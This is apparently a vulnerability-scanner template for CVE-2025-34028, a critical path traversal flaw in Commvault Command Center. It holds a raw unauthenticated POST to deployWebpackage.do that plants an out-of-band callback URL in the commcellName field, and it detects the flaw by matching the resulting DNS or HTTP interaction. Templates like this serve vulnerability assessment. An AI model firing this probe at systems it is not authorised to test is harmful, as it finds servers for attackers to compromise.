id: CVE-2025-34028

info:
  name: "Commvault - Path Traversal"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    The Commvault Command Center Innovation Release allows an unauthenticated actor to upload ZIP files that
    represent install packages that, when expanded by the target server, are vulnerable to path traversal
    vulnerability that can result in Remote Code Execution via malicious JSP. This issue affects Command Center
    Innovation Release: 11.38.0 to 11.38.20.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-34028&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=commvault&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-34028
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve,cve2025,ssrf,oast,commvault,kev,vkev,vuln
variables:
  string: "{{to_lower(rand_base(5))}}"

http:
  - raw:
      - |
        POST /commandcenter/deployWebpackage.do HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded

        commcellName={{interactsh-url}}&servicePack={{string}}&version=x

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
          - 'status_code == 900'
        condition: and